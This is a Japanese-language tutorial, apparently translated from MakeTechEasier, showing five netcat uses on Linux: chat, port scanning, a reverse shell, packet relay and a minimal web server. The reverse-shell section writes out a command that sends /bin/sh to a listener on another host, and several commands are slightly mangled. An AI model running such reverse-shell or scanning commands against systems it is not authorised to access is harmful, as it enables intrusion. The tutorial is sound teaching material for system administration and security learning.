LinuxにおけるNetcatの5つのシンプルで簡単な使い方

サーバーラックでUTPケーブルを検査している男性の写真

Netcatは、TCPおよびUDPパケットを送受信できるLinuxの強力なコマンドラインネットワークユーティリティです。他のネットワークツールとは異なり、netcatは非常に基本的です。しかし、そのシンプルさは、ネットワーク上でほぼすべての種類のアクティビティを行うことを可能にします。

この記事では、netcatを使用して行うことができる5つのシンプルなネットワーキングタスクを紹介します。さらに、netcatが特別な理由と、Linuxツールキットに含めるべき理由も強調します。

目次

  • Netcatはどのように機能し、なぜ使用するのか?
    1. ピアツーピアチャットセッション
    1. 基本的なポートスキャナー
    1. リバースシェル
    1. 基本的なパケットリレー
    1. 基本的なHTTPサーバー
  • よくある質問

Netcatはどのように機能し、なぜ使用するのか?

Netcatは、ネットワークパケットを送受信できる基本的なユーティリティです。1995年にHobbitという名前のペンネームのプログラマーによって初めてリリースされました。それ以来、netcatはすべてのLinuxディストリビューションの重要な部分となっています。

Netcatは、1つのLinuxホストから別のLinuxホストにネットワークリクエストを送信することによって機能します。このネットワークリクエストには、任意の種類のデータを含めることができ、任意のポートで送信できます。

netcatを使用したシンプルなテキスト転送を示すターミナル

このアプローチにより、netcatは可能なあらゆる種類のネットワーク接続を作成できます。たとえば、プログラムは直接TCP接続を作成でき、ファイルを転送したり、リバースシェルセッションを作成したりできます。

netcatを使用した2つのLinuxホスト間のシンプルなファイル転送を示すデスクトップ

1. ピアツーピアチャットセッション

netcatの最も基本的な使用法の1つは、2台のLinuxマシン間のシンプルなピアツーピアチャットセッションです。これは、情報を送受信するためにサードパーティのサーバーに依存しない通信方法です。

  1. これを機能させるには、ローカルマシンで49152から65536の間のポートを開く必要があります。ここでリモートホストが接続し、任意の情報をローカルマシンに送信できます。
sudo ufw allow 50000
  1. また、リモートホストで異なるポートを開く必要があります。これにより、ローカルマシンが情報を送信できます。
sudo ufw allow 50001
  1. 次の引数を使用して、ローカルマシンでnetcatを実行します。
nc -lp50000

これにより、ポート50000でデータを積極的にリッスンしているnetcatセッションが開きます。

  1. リモートホストは、ローカルマシンに任意のテキストデータを送信できます。たとえば、次のコマンドは、システムの標準入力をリモートマシンに送信します。
cat - | nc 192.168.122.136 50000

基本的なnetcatチャットの標準入力プロンプトを示すターミナル

  1. メッセージに返信するには、リモートホストでもリッスニングデーモンを実行する必要があります。
nc -lp50001
  1. これで、ローカルマシンからリモートホストにメッセージを送信できます。
cat - | nc 192.168.122.177 50001

フルデュプレックスnetcatチャットのための2つの仮想ターミナルを示すターミナル

2. 基本的なポートスキャナー

ポートスキャナーは、マシンの一連のポートがリモートホストからアクセス可能かどうかを確認するシンプルなユーティリティです。これは、システムに適切なポートが開いているかどうか不明な場合に非常に便利です。

単一のポートを確認するには、nc -vの後にIPアドレスと確認したいポートを指定して実行できます。

nc -v 192.168.122.177 80

ポート80の基本的なポートスキャンを示すターミナル

また、netcatは、指定した範囲内の各ポート番号を順番にチェックします。たとえば、次のコマンドを実行すると、すべてのオープンな「よく知られた」ポートをスキャンします。

nc -v 192.168.122.177 1-1024

「よく知られた」ポートのバルクスキャンを示すターミナル

ポートをクエリすることの欠点の1つは、不必要なネットワークトラフィックを生成することです。これは、小さな家庭内ネットワークで大規模なポート範囲をテストしている場合に問題になる可能性があります。

これを修正するには、リモートホストでネットワークアクティビティを生成しない「ゼロI/O」モードを有効にします。

nc -zv 192.168.122.177 1-1024

netcatを使用したゼロIOバルクポートスキャンを示すターミナル

FYI: sudoなしでnmapを使用して、ローカルネットワーク内のマシンに関する情報を収集する方法を学びましょう。

3. リバースシェル

リバースシェルは、Linuxにおけるペネトレーションテストの基本です。これらは、オープンな受信ポートがなくてもシステムを制御できるリモートシェルインスタンスです。リバースシェルは、SSHアクセスがないマシンにアクセスする必要がある場合に便利です。

  1. リバースシェルを作成するには、ローカルマシンでリスナーデーモンを開く必要があります。
nc -lp50000
  1. リモートマシンでnetcat接続を開始します。この場合、リモートマシンのシェル環境を渡す必要があります。
nc -e/bin/sh 192.168.122.136 50000

注意: 上記のコマンドは、非Ubuntuディストリビューションでのみ機能します。Ubuntuでこれを行うには、「netcat-traditional」パッケージをインストールし、「nc」を「nc.traditional」に置き換える必要があります。

  1. ローカルマシンに戻り、シェルコマンドを実行します。たとえば、lsを実行すると、リモートユーザーの現在のディレクトリが表示されます。
ls-la

成功したリバースシェルの出力を示すターミナル

  1. リバースシェルセッションを終了するには、ローカルマシンのリスナーデーモンでCtrl + Cを押すことができます。

ローカルマシンでリバースシェルを閉じるプロセスを示すターミナル

知っておくと良い: シェルスクリプトの基本を学ぶことで、リバースシェルを効果的に使用する方法を学びましょう。

4. 基本的なパケットリレー

ネットワークストリームに直接読み書きするだけでなく、netcatを使用して、受信接続を任意の出力ポートにリダイレクトすることもできます。これは、UNIXパイプを使用して複数のnetcatリスナーおよびクライアントセッションをチェーンすることによって機能します。

  1. ポート50000でリッスンするnetcatセッションを作成します。これが基本的なリレーの出力ポートとして機能します。
nc -lv localhost 50000
  1. 新しいターミナルを開き、次のコマンドを実行します。
nc -lv localhost 50001 | nc localhost 50000

これにより、ポート50001で新しいリスナーデーモンが作成され、このポートのパケットが自動的にポート50000にリダイレクトされます。

2つのポート間のパススルー接続を示すターミナル

  1. 受信ポートにデータを送信すると、netcatはその出力を自動的に出力ポートにリダイレクトします。
echo"MakeTechEasier"| nc localhost 50001

基本的なパケットリレーの実行を示すターミナル

  1. ローカルポートだけでなく、この機能を使用して、任意のネットワークトラフィックを別のマシンにリダイレクトすることもできます。たとえば、次のコードは、ポート50000のデータを別のシステムの同じポートに送信します。
nc -lv localhost 50000| nc 192.168.122.177 50000

2つのホスト間の基本的なパケットリレーを示すターミナル

注意: これを機能させるには、複数のデーモンプロセスを実行する必要があり、通過するデータは暗号化されません。

5. 基本的なHTTPサーバー

HTTPサーバーの設定は、単一のページを提供したいだけの場合でも、複雑なプロセスになる可能性があります。その点で、netcatは、追加のツールをインストールせずにLinuxで立ち上げることができるシンプルな静的Webサーバーとしても機能します。

  1. 基本的なHTTPレスポンスファイルを作成します。次のコードスニペットは、シンプルなメッセージを表示するWebページを表示します。
HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Server: netcat!  
  
  
  
# こんにちはMakeTechEasier!  
  
  1. これを「index.http」としてホームディレクトリに保存します。

シンプルなHTTPレスポンスの構造を示すターミナル

  1. 次のコマンドを実行します。
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

シンプルなnetcatウェブサーバーが実行されていることを示すターミナル

これで、動作するWebサーバーができました。Webブラウザを開いてhttp://localhost:8080にアクセスすることで、Webページを訪れることができます。

動作するnetcatウェブサーバーがWebページを提供しているスクリーンショット

  1. ターミナルでCtrl + Cを押して、現在のWebサーバーセッションを終了します。

基本的なnetcatウェブサーバーの終了プロセスを示すターミナル

注意: これは非常に基本的なHTTPサーバーであり、安全ではありません。独自のサーバーを運営している場合は、サーバーを保護するためのこれらのヒントに従うべきです。

知っておくと良い: sedを使用してテキストストリームを操作することで、ファイルを効果的に管理する方法を学びましょう。

よくある質問

netcatを使用してリモートマシンに接続できません。

この問題は、リモートマシンのファイアウォールポートがブロックされていることが原因である可能性が高いです。使用しているポートが、受信および送信接続の両方に対して開いていることを確認する必要があります。たとえば、リモートマシンでポート49999を使用したい場合は、sudo ufw allow 49999を実行する必要があります。

netcatを使用して任意のホストに接続することは可能ですか?

いいえ。netcatは任意のネットワークストリームを読み書きできますが、システムのネットワークから発見できないマシンに接続することはできません。これには、ポートフォワーディングが有効でないプライベートネットワークや、ネットワークアクセスがないエアギャップシステムが含まれます。

netcatで接続を偽装することは可能ですか?

いいえ。これは、netcatが有効なネットワークインターフェースからのみパケットを送受信できるためです。ただし、複数のネットワークインターフェースがある場合は、その特定のパケットがどこから来るかを変更できます。

たとえば、nc -l -s 10.0.0.2 -p 50000を実行して、netcatにIPアドレス「10.0.0.2」を持つインターフェースを使用してパケットを明示的に送信させることができます。

画像クレジット: ThisisEngineering RAEng via Unsplash。すべての変更とスクリーンショットはRamces Redによるものです。